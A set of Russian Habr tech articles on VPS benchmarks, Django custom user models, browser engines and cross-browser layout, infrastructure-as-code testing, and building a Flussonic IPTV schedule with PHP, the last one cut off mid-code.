Hosted by Cumulus Technologies (Helsinki) [0.18 km]: 1.283 ms
Testing download speed................................................................................
Download: 666.33 Mbit/s
Testing upload speed................................................................................................
Upload: 669.90 Mbit/s
```
### Результаты (картинки кликабельны):
#### Unixbench (попугаи)
[](https://habrastorage.org/webt/tl/yr/jv/tlyrjv-yzr7p5uyeqeiawmu9eq0.png)
#### Скорость чтения/записи dd (MB/s)
1M
[](https://habrastorage.org/webt/zc/rg/fk/zcrgfkoehvzmggwmvqgdsir8w7g.png)
64K
[](https://habrastorage.org/webt/kq/st/ul/kqstuls187m0g6az5e13y-ntj-i.png)
#### Количество IOPS в разных режимах работы fio
Random read
[](https://habrastorage.org/webt/52/it/uo/52ituo5lm4kqakrjiyzxkwcyrly.png)
Random write
[](https://habrastorage.org/webt/bm/uz/gy/bmuzgynd2dfuhzuih_if1a08epm.png)
Random direct read
[](https://habrastorage.org/webt/t-/j4/gn/t-j4gnw4zfwnlttchq0kjgfmoeu.png)
Random direct write
[](https://habrastorage.org/webt/a2/t-/hy/a2t-hy136ycucwcnoss9x06ac4i.png)
#### Скорость сети от speedtest (Mbit/s)
[](https://habrastorage.org/webt/zf/ua/do/zfuado-v_pxmc1uwbhq_s4lgx18.png)
Синий — download, красный — upload.
Как мне показалось, наиболее стабильные результаты показали Linode и Vultr. Hetzner немного отстает, но он и относится к несколько другой ценовой категории. DigitalOcean же в некоторых тестах (в частности Unixbench) уступил остальным, хотя в целом этот хостер мне очень нравится. | https://habr.com/ru/post/480674/ | null | ru | null |
# В django появилась возможность использования своей модели вместо contrib.auth.models.User
Через шесть лет после появления [тикета](https://code.djangoproject.com/ticket/3011) с предложением возможности использования своей модели вместо штатной django.contrib.auth.models.User и [тысяч](http://habrahabr.ru/post/118468/) [постов](http://www.b-list.org/weblog/2006/jun/06/django-tips-extending-user-model/) [с](http://www.turnkeylinux.org/blog/django-profile) [идеями](http://softwaremaniacs.org/blog/2007/03/07/auto-one-to-one-field/) использования дополнительной модели профилей случилось чудо: <https://github.com/django/django/commit/70a0de37d132e5f1514fb939875f69649f103124>
Теперь модель пользователя указывается в настройках проекта:
```
AUTH_USER_MODEL = 'auth.User'
```
А для создания ForeignKey к модели пользователя предлагают использовать следующий способ:
```
user = models.ForeignKey(settings.AUTH_USER_MODEL)
```
При этом отдельно рекомендуется обдумать необходимость хранения всей информации пользователя, не относящейся к авторизации, в одной модели. Возможно, лучшим способом хранения таких данных будет старый добрый способ с дополнительными моделями; это позволит каждому приложению иметь свою информацию о пользователе без риска конфликтов с другими приложениями.
Остальная документация по новой функциональности уже есть на сайте: [docs.djangoproject.com/en/dev/topics/auth/#customizing-the-user-model](https://docs.djangoproject.com/en/dev/topics/auth/#customizing-the-user-model)
Те, кому не терпится опробовать долгожданную фичу в действии, уже могут использовать trunk репозитория, любителям стабильности же придется ждать выхода django 1.5. | https://habr.com/ru/post/152603/ | null | ru | null |
# Кроссбраузерная вёрстка
> Что такое кроссбраузерная вёрстка? Какие есть браузеры и нужен ли пиксель-пёрфект?
Если собрать охапку современных браузеров, то разложить её можно по-разному: по устройствам, по платформам, по типу работы, да хоть по цвету иконок. Самое полезное для разработчика — уметь разложить их по движкам. Именно движок, то есть самое ядро браузера, определяет как он работает с вашей вёрсткой.
[При всём разнообразии браузеров](https://github.com/alrra/browser-logos/blob/master/src/README.md), независимых движков довольно мало, а новые появляются очень редко. Так что вместо десятков браузеров вам нужно поддерживать не больше пяти независимых движков. А ещё бывает, что браузеры с одним названием используют разные движки на разных платформах! В общем, всё очень сложно и интересно.
Самый популярный в мире браузерный движок — это Blink. Его использует Chrome и браузеры на его основе: Opera, Samsung Internet, Яндекс.Браузер и другие. Для работы с JavaScript, эти браузеры используют движок V8 — тот же, что и в Node.js. Один из главных разработчиков открытого движка Blink — Google, но в разработке активно участвует не меньше десятка компаний.
WebKit, другой популярный движок, очень похож на Blink. А вообще, наоборот — это Blink похож на WebKit. Это как? В 2013 году [Blink форкнули из WebKit](https://youtu.be/Y70JypQCy08). По сути, скопировали. Google собрала вещи и сказала Apple, основному разработчику WebKit, что ей не нравятся её методы работы и теперь всё будет по-другому. Что поделать, опенсорс. И действительно, стало по-другому: основа у WebKit и Blink общая (префиксы `webkit`, например), но возможности уже довольно разные. На новом WebKit сейчас работают мобильные и десктопные браузеры Safari, на старом — встроенный браузер на Android до версии KitKat.
На движке Gecko работает браузер Firefox, когда-то очень популярный, а сегодня сохраняющий небольшую долю и важную роль в развитии веба и технологий. Префиксы у Gecko свои: `moz` — Mozilla, но для лучшей совместимости Firefox специально поддерживает некоторые свойства WebKit. Полноценный Firefox на Gecko работает на десктопных платформах и на Android. Параллельно с Gecko, Mozilla разрабатывает экспериментальный движок Servo и меняет некоторые части Gecko прямо на ходу. Например, в следующем Firefox 57 движок CSS заменят на новый.
Браузер Edge работает на всех современных платформах Microsoft, включая мобильные и Xbox. В его основе движок EdgeHTML — недавно как раз вышла его 16-я версия. EdgeHTML тоже форкнули от движка Trident или MSHTML, на котором работал браузер Internet Explorer. Удивительно похоже на историю Blink и WebKit: оба движка сохраняют общие префиксы (`ms` и опять немного `webkit` для совместимости), но сильно отличаются по возможностям. EdgeHTML отбросил всякое старьё и смело развивается: пара крупных релизов в год и даже [система голосования за фичи](https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer). Trident и IE закрыли в 2015 году.
Кроме движков, полезно ещё знать особенности платформ. Например, на мобильной платформе iOS куча браузеров, помимо встроенного Safari: Chrome, Firefox, Opera, Яндекс, UC и даже Edge недавно выпустили. Но все эти браузеры — просто оболочки над встроенным в систему движком WebKit. Правила этой платформы запрещают использовать другие браузерные движки. А вот на Android большинство браузеров поставляются со своими движками: Firefox, Opera, Samsung, но некоторые используют встроенный Chromium.
Ну вроде всё? А нет! Есть ещё отдельная группа необычных браузеров: они живут не на устройствах пользователей, а глубоко на серверах. На устройствах стоит только лёгкая оболочка, которая запрашивает адрес и получает с сервера набор скриншотов и ссылок, слепленных в сайт. Это прокси-браузеры и они безумно сжимают трафик, но по пути теряют: фирменные шрифты, фоновые картинки, градиенты, скруглённые уголки, тени и вроде того. Opera Mini — один из самых популярных прокси-браузеров. На сервере у него крутится устаревший движок Presto, а ставят его чаще всего на простые телефоны. Но есть и другие, [подробнее вам расскажет Тим Кадлек](https://youtu.be/zJ1zDkuWhRw).
Некоторые браузеры работают только на одной платформе: Edge и IE есть только на Windows, Safari только на macOS и iOS. Были когда-то попытки интервенций, но ничего не вышло. Это конечно усложняет тестирование. К счастью, есть сервисы вроде [BrowserStack](https://www.browserstack.com/), которые дают вам доступ ко всем существующим браузерам, а Microsoft выкладывает [компактные образы Windows](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/) для тестирования Edge и IE в виртуальных машинах.
Ладно! Про браузеры мы теперь знаем. А что делать, если тот же браузер, тот же движок — а результат на разных платформах разный? А ничего не поделаешь! На деле браузеры могут сильно отличаться в зависимости от платформы или устройства. Самая большая разница между десктопными и мобильными браузерами — в последних очень много оптимизаций и просто магии. Но можно поймать и разное поведение на десктопных Windows и macOS.
Думаю вы уже поняли, к чему я клоню. Кроссбраузерность — это такой радужный единорог, за которым все гоняются, но никто не может поймать. Цель у погони, безусловно, благородная: чтобы сайты выглядели и работали одинаково хорошо на всех браузерах и всех платформах. И если размеры отступов, шрифта, высоту строки, цвета мы ещё можем более-менее гарантировать, то сглаживание текста, размытие теней, рендеринг графики и внешний вид системных контролов лучше даже не пытаться привести к общему виду.
Так что если для вас пиксель-пёрфект — это попасть в сетку и в горизонтальные размеры блоков, то у вас ещё есть шансы. Но если вы подкручиваете сглаживание текста, количество строк в абзаце или вертикальные размеры блоков с содержимым, строго по макету, вы тратите время впустую. Идеально кроссбраузерный сайт будет выглядеть одинаково чужеродно на всех платформах — ведь у каждой свои особенности, привычные пользователям.
И ещё про тестирование. Как бы хорошо ни имитировал устройства и браузеры [эмулятор Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/device-mode/) — это только намёк на то, как они будут выглядеть в реальности. Важно проверить результат на настоящих платформах и устройствах, как минимум: на Windows, Android, macOS и iOS. Настоящие пальцы на настоящем устройстве, настоящие браузеры в естественной среде обитания расскажут вам много нового о том, как именно будут пользоваться вашими интерфейсами. Это гораздо важнее того, насколько они похожи на макет.
Подпишитесь на новости браузеров в Твиттере, поставьте себе Chrome Canary, Firefox Nightly, Safari Technology Preview. Включайте флаги, пробуйте, будьте в курсе и главное — хватит гоняться за пикселями, займитесь хорошими интерфейсами. [Сайты не должны выглядеть одинаково во всех браузерах](http://dowebsitesneedtolookexactlythesameineverybrowser.com/).
Видеоверсия
-----------
Вопросы можно задавать [здесь](https://htmlacademy.ru/shorts). | https://habr.com/ru/post/341538/ | null | ru | null |
# Что я узнал, протестировав 200 000 строк инфраструктурного кода
Подход **IaC** (Infrastructure as Code) состоит не только из кода, который хранится в репозитории, но еще людей и процессов, которые этот код окружают. Можно ли переиспользовать подходы из разработки ПО в управление и описание инфраструктуры? Будет не лишним держать в голове эту идею, пока будете читать статью.
[English version](https://habr.com/en/post/467169/)
Это расшифровка моего [выступления](https://www.youtube.com/watch?v=W53jMaebVJw) на [DevopsConf 2019-05-28](http://devopsconf.io/moscow-rit/2019/abstracts/4906).
**Slides and videos*** [English version](http://www.goncharov.xyz/iac)
* [Russian version](http://www.goncharov.xyz/it/200k_iac_ru.html)
* Dry run 2019-04-24 [SpbLUG](http://spblug.org)
* [Video(RU) from DevopsConf 2019-05-28](https://www.youtube.com/watch?v=W53jMaebVJw)
* [Video(RU) from DINS DevOps EVENING 2019-06-20](https://www.youtube.com/watch?v=kIGVTaTqnXI)
* [Slides](https://cloud.mail.ru/public/4GHk/3ig7qKCCr)
Infrastructure as bash history
==============================
Предположим приходите вы на новый проект, а вам говорят: "у нас *Infrastructure as Code*". В реальности оказывается, *Infrastructure as bash history* или например *Documentation as bash history*. Это вполне реальная ситуация, например, подобный случай описывал Денис Лысенко в выступление [Как заменить всю инфраструктуру и начать спать спокойно](https://www.youtube.com/watch?v=Qf5xHuiYgN4), он рассказал как из bash history они получили стройную инфраструктуру на проекте.
При некотором желании, можно сказать, что *Infrastructure as bash history* это как код:
1. *воспроизводимость*: вы можете взять bash history, выполнить команды оттуда, возможно, кстати, вы получите рабочую конфигурацию на выходе.
2. *версионирование*: вы знаете кто заходил и что делал, опять же не факт, что это вас приведет к рабочей конфигурации на выходе.
3. *история*: история кто и что сделал. только вы не сможете ей пользоваться, если потеряете сервер.
Что же делать?
Infrastructure as Code
======================
Даже такой странный случай как *Infrastructure as bash history* можно притянуть за уши к *Infrastructure as Code*, но когда мы захотим сделать что-нибудь посложнее чем старый добрый LAMPовый сервер, мы прийдем к тому, что этот код необходимо как-то модифицировать, изменять, дорабатывать. Далее хотелось мы будем рассматривать параллели между *Infrastructure as Code* и разработкой ПО.
D.R.Y.
------
На проекте по разработке СХД, была подзадача [периодически настраивать SDS](http://www.goncharov.xyz/it/how-to-test-custom-os-distr.html): выпускаем новый релиз — его необходимо раскатать, для дальнейшего тестирования. Задача предельно простая:
* сюда зайди по ssh и выполни команду.
* туда скопируй файлик.
* здесь подправь конфиг.
* там запусти сервис
* ...
* PROFIT!
Для описанной логики более чем достаточно bash, особенно на ранних стадиях проекта, когда он только стартует. Это [не плохо что вы используете bash](http://www.goncharov.xyz/it/make-cm-not-bash-en.html), но со временем появляются запросы развернуть нечто похожее, но чуть-чуть отличающиеся. Первое что приходит в голову: copy-paste. И вот у нас уже два очень похожих скрипта, которые делают почти тоже самое. Со временем кол-во скриптов выросло, и мы столкнулись с тем, что есть некая бизнес логика развертывания инсталляции, которую необходимо синхронизировать между разными скриптами, это достаточно сложно.
Оказывается, есть такая практика D.R.Y. (Do not Repeat Yourself). Идея в том, чтобы переиспользовать существующий код. Звучит просто, но пришли к этому не сразу. В нашем случае это была банальная идея: отделить конфиги от скриптов. Т.е. бизнес логика как разворачивается инсталляция отдельно, конфиги отдельно.
S.O.L.I.D. for CFM
------------------
Со временем проект рос и [естественным продолжением](http://www.goncharov.xyz/it/make-cm-not-bash-en.html) стало появление Ansible. Основная причина появления его это наличие экспертизы в команде и что bash не предназначен для сложной логики. Ansible тоже стал содержать сложную логику. Для того что бы сложная логика не превращалась в хаос, в разработке ПО существуют принципы организации кода *S.O.L.I.D.* Так же, например, Григория Петров в докладе "Зачем айтишнику личный бренд" затронул вопрос, что человек, так устроен, что ему проще оперировать какими-то социальными сущностями, в разработке ПО это объекты. Если объединить эти две идеи продолжить развивать их, то можно заметить, что в описании инфраструктуры тоже можно использовать *S.O.L.I.D.* что бы в дальнейшем было проще поддерживать и модифицировать эту логику.
### The Single Responsibility Principle
*Каждый класс выполняет лишь одну задачу.*
Не надо смешивать код и делать монолитные божественные макаронные монстры. Инфраструктура должна состоять из простых кирпичиков. Оказывается, что если раздробить Ansible playbook на небольшие кусочки, читай Ansible роли, то их проще поддерживать.
### The Open Closed Principle
*Принцип открытости/закрытости.*
* *Открыты для расширения: означает, что поведение сущности может быть расширено путём создания новых типов сущностей.*
* *Закрыты для изменения: в результате расширения поведения сущности, не должны вноситься изменения в код, который эти сущности использует.*
Изначально мы разворачивали тестовую инфраструктуру на виртуальных машинах, но за счет того, что бизнес логика разворачивания была отдельно от реализации, мы без проблем добавили раскатку на bare-metall.
### The Liskov Substitution Principle
*Принцип подстановки Барбары Лисков. объекты в программе должны быть заменяемыми на экземпляры их подтипов без изменения правильности выполнения программы*
Если посмотреть шире, то не особенность какого-то конкретного проекта, что там можно применить *S.O.L.I.D.*, оно в целом про CFM, например, на другом проекте необходимо разворачивать коробочное Java приложение поверх различных Java, серверов приложений, баз данных, OS, итд. На это примере я буду рассматривать дальнейшие принципы *S.O.L.I.D.*
В нашем случае в рамках инфраструктурной команды есть договоренность, что если мы установили роль imbjava или oraclejava, то у нас есть бинарный исполняемый файл java. Это нужно т.к. вышестоящее роли зависят от этого поведения, они ожидают наличие java. В тоже время это нам позволяет заменять одну реализацию/версию java на другую при этом не изменяя логику развертывания приложения.
Проблема здесь кроется в том, что в Ansible нельзя реализовать такое, как следствие в рамках команды появляются какие-то договоренности.
### The Interface Segregation Principle
*Принцип разделения интерфейса «много интерфейсов, специально предназначенных для клиентов, лучше, чем один интерфейс общего назначения.*
Изначально мы пробовали складывать всю вариативность разворачивания приложения в один Ansible playbook, но это было сложно поддерживать, а подход, когда у нас специфицирован интерфейс наружу (клиент ожидает 443 порт) то под конкретную реализацию можно компоновать инфраструктуру из отдельных кирпичиков.
### The Dependency Inversion Principle
*Принцип инверсии зависимостей. Модули верхних уровней не должны зависеть от модулей нижних уровней. Оба типа модулей должны зависеть от абстракций. Абстракции не должны зависеть от деталей. Детали должны зависеть от абстракций.*
Здесь пример будет основан на антипаттерне.
1. У одного из заказчиков было приватное облако.
2. Внутри облака мы заказывали виртуальные машины.
3. Но в виду особенностей облака, развертывание приложения было привязано к тому, на какой гипервизор попала ВМ.
Т.е. высокоуровневая логика развертывания приложения, зависимостями протекала на нижележащие уровни гипервизора, и это означало проблемы при переиспользование этой логики. ***Не надо так.***
Interaction
===========
Инфраструктура как код — это не только про код, но ещё и про отношения между кодом и человеком, про взаимодействия между разработчиками инфраструктуры.
Bus factor
----------
Предположим, что у вас на проекте есть Вася. Вася всё знает про вашу инфраструктуру, что будет если Вася вдруг пропадет? Это вполне реальная ситуация, ведь его может сбить автобус. Иногда такое случается. Если такое случится и знание о коде, его структуре, как он работает, явках и паролях, не распределены в команде, то можно столкнуться с рядом неприятных ситуаций. Что бы минимизировать эти риски и распределить знание в рамках команды можно использовать различные подходы
Pair Devopsing
--------------
Это не как [в шутке](https://bash.im/quote/5176), что админы пили пиво, пароли меняли, а аналог парного программирования. Т.е. два инженера садятся за один компьютер, одну клавиатуру и начинают вместе настраивать вашу инфраструктуру: сервер настраивать, Ansible роль писать, итд. Звучит красиво, но у нас не сработало. Но вот частные случаи этой практики работали. Пришел новый сотрудник, его наставник вместе с ним берет реальную задачу, работает — передает знание.
Другой частный случай, это incident call. Во время проблемы собирается группа дежурных и причастных, назначается один ведущий, который расшаривает свой экран и озвучивает ход мысли. Другие участники следуют за мыслью ведущего, подсматривают трюки из консоли, проверяют что не пропустил строчку в логе, узнают новое об системе. Такой подход скорее работал, чем нет.
Code Review
-----------
Субьективно, более эффективно распространение знаний об инфраструктуре и том как она устроена проходило при помощи code review:
* Инфраструктура описана кодом в репозитории.
* Изменения происходят в отдельной ветке.
* При мердже реквесте можно увидеть дельту изменений инфраструктуру.
Изюминкой здесь было, то что ревьюверы выбирались по очереди, по графику, т.е. с некоторой долей вероятности ты залезешь в новый участок инфраструктуры.
### Code Style
Со временем стали появляться склоки во время ревью, т.к. у ревьюверов был свой стиль и ротируемости ревьюверов стакивала их с разными стилями: 2 пробела или 4, camelCase или snake\_case. Внедрить это получилось не сразу.
* Первой идей было рекомендательно посоветовать использовать linter, ведь все же инженеры, все умные. Но разные редакторы, ОС, не удобно
* Это эволюционировало в бота, который по каждому коммиту проблемному писал в slack, и прикладывал вывод linter. Но в большинстве случаев находились более важные дела и код оставался не исправленным.
### Green Build Master
Время идет, и пришли к тому что нельзя пускать в мастер коммиты, которые не проходят некие тесты. Вуаля! мы изобрели Green Build Master который уже давным-давно практикуется в разработке ПО:
* Разработка идет в отдельной ветке.
* По этой ветке гоняются тесты.
* Если тесты не проходят, то код не попадет в мастер.
Принятие этого решения было весьма болезненным, т.к. вызвало множество споров, но оно того стоило, т.к. на ревью стали приходить запросы на слияние без разногласий по стилю и со временем кол-во проблемных мест стало уменьшаться.
IaC Testing
===========
Кроме проверки стиля можно использовать и другие вещи, например, проверять что ваша инфраструктура действительно может развернуться. Или проверять что изменения в инфраструктуре не приведут к потере денег. Зачем это может понадобиться? Вопрос сложный и философский, ответить лучше байкой, что как-то был auto-scaler на Powershell который, не проверял пограничные условия => создалось больше ВМ чем надо => клиент потратил денег больше чем планировал. Приятного мало, но эту ошибку вполне реально было бы отловить на более ранних стадиях.
Можно спросить, а зачем делать сложную инфраструктуру еще сложнее? Тесты для инфраструктуры, так же, как и для кода, это не про упрощение, а про знание как ваша инфраструктура должна работать.
IaC Testing Pyramid
-------------------
### IaC Testing: Static Analysis
Если сразу разворачивать всю инфраструктуру и проверять, что она работает, то может оказаться, что это занимает уйму времени и требует кучу времени. Поэтому в основе должно быть что-то быстро работающее, его много, и оно покрывают множество примтивных мест.
#### Bash is tricky
Вот рассмотрим банальный пример. выбрать все файлы в текущей директории и скопировать в другое место. Первое что приходит в голову:
```
for i in * ; do
cp $i /some/path/$i.bak
done
```
А что если в имени файла пробел есть? Ну ок, мы же умные, умеем пользоваться кавычками:
```
for i in * ; do cp "$i" "/some/path/$i.bak" ; done
```
Молодцы? нет! Что если в директории нет ничего, т.е. глобинг не сработает.
```
find . -type f -exec mv -v {} dst/{}.bak \;
```
Теперь то молодцы? неа… Забыли что в имени файла может быть `\n`.
```
touch x
mv x "$(printf "foo\nbar")"
find . -type f -print0 | xargs -0 mv -t /path/to/target-dir
```
#### Static analysis tools
Проблему из предыдущего шага можно было отловить когда мы забыли кавычки, для это в природе существует множество средство [Shellcheck](https://www.shellcheck.net/), вообще их много, и скорей всего вы сможете найти под свою IDE линтер для вашего стэка.
| Language | Tool |
| --- | --- |
| bash | [Shellcheck](https://www.shellcheck.net/) |
| Ruby | [RuboCop](https://github.com/rubocop-hq/rubocop) |
| python | [Pylint](https://www.pylint.org/) |
| ansible | [Ansible Lint](https://github.com/ansible/ansible-lint) |
### IaC Testing: Unit Tests
Как мы убедились из предыдущего примера, линтеры не всемогущие и не могут указать на все проблемные места. Дальше по аналогии с тестированием в разработке ПО можно вспомнить про unit tests. Тут сразу на ум приходят [shunit](https://github.com/kward/shunit2), [junit](https://junit.org), [rspec](https://rspec.info/), [pytest](https://docs.pytest.org). Но что делать с ansible, chef, saltstack и иже с ними?
В самом начале мы говорили про *S.O.L.I.D.* и то что наша инфраструктура должна состоять из маленьких кирпичиков. Пришло их время.
1. Инфраструктура дробится на маленькие кирпичики, например, Ansible роли.
2. Разворачивается какое-то окружение, будь то docker или ВМ.
3. На это тестовое окружение применяем нашу Ansible роль.
4. Проверяем что все отработало как мы ожидаем (прогоняем тесты).
5. Решаем ок или не ок.
#### IaC Testing: Unit Testing tools
Вопрос, а что такое тесты для CFM? можно банально запускать скрипт, а можно использовать готовые решения для этого:
| CFM | Tool |
| --- | --- |
| Ansible | [Testinfra](https://testinfra.readthedocs.io/en/latest/) |
| Chef | [Inspec](https://www.inspec.io/) |
| Chef | [Serverspec](https://serverspec.org/) |
| saltstack | [Goss](https://github.com/aelsabbahy/goss) |
Пример для testinfra, проверяем что пользователи `test1`, `test2` существуют и состоят в группе `sshusers`:
```
def test_default_users(host):
users = ['test1', 'test2' ]
for login in users:
assert host.user(login).exists
assert 'sshusers' in host.user(login).groups
```
Что выбрать? вопрос сложный и не однозначный, вот пример изменения в проектах на github за 2018-2019 года:
#### IaC Testing frameworks
Возникает как это все собрать вместе и запустить? Можно [взять и сделать всё самому](http://www.goncharov.xyz/it/how-to-test-custom-os-distr.html) при наличии достаточного кол-во инженеров. А можно взять готовые решения, правда их не очень-то и много:
| CFM | Tool |
| --- | --- |
| Ansible | [Molecule](https://molecule.readthedocs.io) |
| Chef | [Test Kitchen](https://docs.chef.io/kitchen.html) |
| Terraform | [Terratest](https://github.com/gruntwork-io/terratest) |
Пример изменения в проектах на github за 2018-2019 года:
#### Molecule vs. Testkitchen
Изначально мы [пробовали использовать testkitchen](http://www.goncharov.xyz/it/test-ansible-roles-via-testkitchen-inside-hyperv.html):
1. Создать ВМ в параллель.
2. Применить Ansible роли.
3. Прогонять inspec.
Для 25-35 ролей это работало 40-70 минут, что было долго.
Следующим шагом стал переход на jenkins / docker / ansible / molecule. Идиологически все тоже самое
1. Пролинтовать плэйбуки.
2. Пролинтовать роли.
3. Запустить контейнер
4. Применить Ansible роли.
5. Прогонять testinfra.
6. Проверить идемпотентность.
Линтовка для 40 ролей и тесты для десятка стали занимать порядка 15 минут.
Что выбрать зависит от множества факторов, как то используемый стэк, экспертиза в команде итд. тут каждый решает сам как закрывать вопрос Unit тестирования
### IaC Testing: Integration Tests
На следующей ступени пирамиды тестирования инфраструктуры появлются интеграционные тесты. Они похожи на Unit тесты:
1. Инфраструктура дробится на маленькие кирпичики, например Ansible роли.
2. Разворачивается какое-то окружение, будь то docker или ВМ.
3. На это тестовое окружение применяется **множество** Ansible ролей.
4. Проверяем что все отработало как мы ожидаем(прогоняем тесты).
5. Решаем ок или не ок.
Грубо говоря, мы не проверяем работоспособность отдельного элемента системы как в unit тестах, мы проверяем как сервер сконфигурирован в целом.
### IaC Testing: End to End Tests
На вершине пирамиды нас встречают End to End тесты. Т.е. мы не проверяем работоспособность отдельного сервера, отдельного скрипта, отдельного кирпичика нашей инфраструктуры. Мы проверяем что множество серверов, объединенных воедино, наша инфраструктура работает, как мы этого ожидаем. К сожалению готовых коробочных решений, мне не доводилось видеть, наверно т.к. инфраструктура зачастую уникальная и ее сложно шаблонизировать и сделать фрэймворк для ее тестирования. Как итог все создают свои собственные решению. Спрос есть, а вот ответа нет. Поэтому, расскажу что есть, чтобы натолкнуть других на здравые мысли или ткнуть меня носом, что всё давно изобретено до нас.
Проект с богатой историей. Используется в больших организациях и вероятно каждый из вас косвенно пересекался. Приложение поддерживает множество баз данных, интеграций итд итп. Знание о том, как инфраструктура может выглядеть это множество docker-compose файлов, а знание того, какие тесты в каком окружение запускать — это jenkins.
Эта схема достаточно долго работала, пока в рамках [исследования](http://www.goncharov.xyz/it/deploy2openshift-en.html) мы не попробовали это перенести в Openshift. Контейнеры остались теже, а вот среда запуска сменилась (привет D.R.Y. опять).
Мысль исследования пошла дальше, и в openshift нашлась такая штука APB (Ansible Playbook Bundle), которая позволяет в контейнер запаковать знание как разворачивать инфраструктуру. Т.е. есть воспроизводимая, тестируемая точка знания, как развернуть инфраструктуру.
Всё это звучало хорошо, пока не уткнулись в гетерогенную инфраструктуру: нам для тестов нужна Windows. В итоге знание о том что, где как развернуть, и протестировать сидит в jenkins.
Conclusion
==========
Infrastructure as Code это
* Код в репозитории.
* Взаимодействие людей.
* Тестирование инфраструктуры.
**links*** [English Version](http://www.goncharov.xyz/iac)
* [Cross post из личного блога](http://www.goncharov.xyz/it/200k_iac_ru.html)
* Dry run 2019-04-24 [SpbLUG](http://spblug.org)
* [Video(RU) from DevopsConf 2019-05-28](https://www.youtube.com/watch?v=W53jMaebVJw)
* [Video(RU) from DINS DevOps EVENING 2019-06-20](https://www.youtube.com/watch?v=kIGVTaTqnXI)
* [Lessons Learned From Writing Over 300,000 Lines of Infrastructure Code](https://www.youtube.com/watch?v=RTEgE2lcyk4) & [text version](https://www.hashicorp.com/resources/lessons-learned-300000-lines-code)
* [Integrating Infrastructure as Code into a Continuous Delivery Pipeline](https://www.youtube.com/watch?v=wTunI1mZyp8)
* [Тестируем инфраструктуру как код](http://rootconf.ru/2015/abstracts/1761)
* [Эффективная разработка и сопровождение Ansible-ролей](https://www.youtube.com/watch?v=IzJsBUPXfkE)
* [Ansible — это вам не bash!](https://www.youtube.com/watch?v=LApKSi5tUYo)
* [Ansible идемпотентный](https://www.youtube.com/watch?v=1-lRS05NrLc) | https://habr.com/ru/post/467171/ | null | ru | null |
# Создание программы передач для IPTV телеканала на базе медиасервера Flussonic
Начнем с небольшого пролога.
**Что такое серверные плейлисты и зачем они нужны? (с офсайта flussonic)**Серверные плейлисты на сегодняшний день не рекомендованы к использованию в интернете.
Эта технология растет корнями из телевизионного оборудования и ПО, позволявшего запускать видео под контролем оператора. В обновленном виде плейлисты нужны и сегодня, поскольку практика показывает, что пользователям приятнее смотреть то, что им предлагают, а не искать самим.
Вместо серверных плейлистов сегодня рекомендуется использовать клиентские плейлисты из-за следующих проблем:
невозможность таргетировать рекламу;
невозможность учитывать рекламу через adriver и другие подобные сети;
сложность сделать мультибитрейтной доставки: разные файлы могут иметь разное количество разных битрейтов;
технически неоправданно сложно делать отмотку назад, а это одно из основных преимуществ интернет-доставки по сравнению с эфирной;
пауза так же слишком сложна в реализации.
На самом деле невозможность реализации адекватной системы учета рекламы сводит на нет все желания использовать серверные плейлисты.
Но мы с учетом своих особенностей, все таки рискнем рекламой в пользу программы передач.
Прежде чем написать, как сделать программу передач, давайте приготовим файлы и расположим их на корне своего сайта.
Файлы, для трансляции обычно положим в папку /media/liv
Обязательно создаем файл плейлиста playlist.txt (кладем в папку /pls) примерно с таким содержимым:
```
liv/i_out.mp4
liv/ss1.mp4
liv/i_out.mp4
liv/c1g.mp4
liv/i_out.mp4
liv/vv.mp4
liv/i_out.mp4
liv/tr1be.mp4
liv/i_out.mp4
liv/sg1.mp4
```
Файл конфигурации flussonic.conf под нашу задачу выглядит так:
```
# Global settings:
http 80;
http 8080;
rtsp 554;
rtmp 1935;
loglevel error;
logrequests true;
auth http://yourchannel.ru:8080/tv/auth;
pulsedb /var/run/flussonic;
edit_auth login password;
# DVRs:
# Remote sources:
# Ingest streams:
stream playlist1 {
url playlist://http://yourchannel.tv/pls/playlist.txt;
auth false;
allowed_countries ru;
disallowed_countries us;
domains yourchannel.tv;
meta comment "yourchannel.tv server channel";
}
stream tunneling {
url rtmp://yourchannel.tv:1935/static/playlist1;
auth false;
allowed_countries ru;
disallowed_countries us;
domain yourchannel.tv;
transcoder vb=copy;
}
# Dynamic rewrites:
# Publish locations:
# Disk file caches:
# VOD locations:
file vod {
path priv;
auth true;
domain yourchannel.ru;
}
file liv {
path /home/yourchannel/data/www/yourchannel.tv/media/liv;
}
# Plugins:
plugin iptv {
database sqlite:///opt/flussonic/priv/iptv.db;
}
# Includes:
```
Давайте рассмотрим, как можем сделать программу передач, используя данные медиасервера Flussonic, предоставляемые в JSON запросе в виде HTTP API — **[flussonic/flussonic/api/playlist/playlist1](http://flussonic/flussonic/api/playlist/playlist1)**
Надо заметить, что доступ к заветной строке проходит с обязательной HTTP аутентификацией и вывести данные во внешний скрипт не удастся. Решим таким «костылем»:
**Файл result.php**
```
$contents = file_get_contents('http://login:password@yourchannel.tv:8080/flussonic/api/playlist/playlist1');
print $contents;
?
```
Получаем ответ вроде такого:
```
{"current_entry":"liv/c1g.mp4","current_type":"file","duration":null,"position":1739946.5416666667}
```
, где нас интересует следующее: current\_entry (текущий воспроизводимый медиафайл) и position(позиция по времени в файле).
Приступим к созданию прототипа программы передач с извлечением всех параметров и сравнением с существующими данными:
1) Создаем таблицу базу данных media:
```
CREATE TABLE IF NOT EXISTS `media` (
`id` int(11) NOT NULL,
`name` varchar(255) NOT NULL,
`media` varchar(50) NOT NULL,
`duration` time NOT NULL,
`next_duration` varchar(20) NOT NULL,
`description` text NOT NULL,
`cc` enum('yes','no') NOT NULL,
`shedule_time` varchar(20) NOT NULL
) ENGINE=MyISAM AUTO_INCREMENT=16 DEFAULT CHARSET=utf8;
```
2) Создадим такой листинг программы передач:
> Файл data.php
>
>
>
> **Посмотреть исходник**
> ```
>
>
>
>
>
>
>
>
>
> // путь к файлу с инициализацией к БД
> include ('db.php');
>
> $userstable = "media";
>
> $query = "SELECT * FROM $userstable ORDER by id ASC";
> $result = MYSQL_QUERY($query);
> $number = MYSQL_NUMROWS($result);
>
> $i = 0;
>
> if ($number == 0) {
> print "<centerДанных по каналу нет..";
> } elseif ($number > 0) {
> print "#### Программа передач:
>
> ";
>
> while ($i < $number)
> {
> $namer = mysql\_result($result,$i,"name");
> $media = mysql\_result($result,$i,"media");
> $duration = mysql\_result($result,$i,"duration");
> $description = mysql\_result($result,$i,"description");
> $shedule\_time = mysql\_result($result,$i,"shedule\_time");
>
>
> $contents = file\_get\_contents('http://yourchannel.tv/result.php');
> $my\_file = 'infotrack.txt';
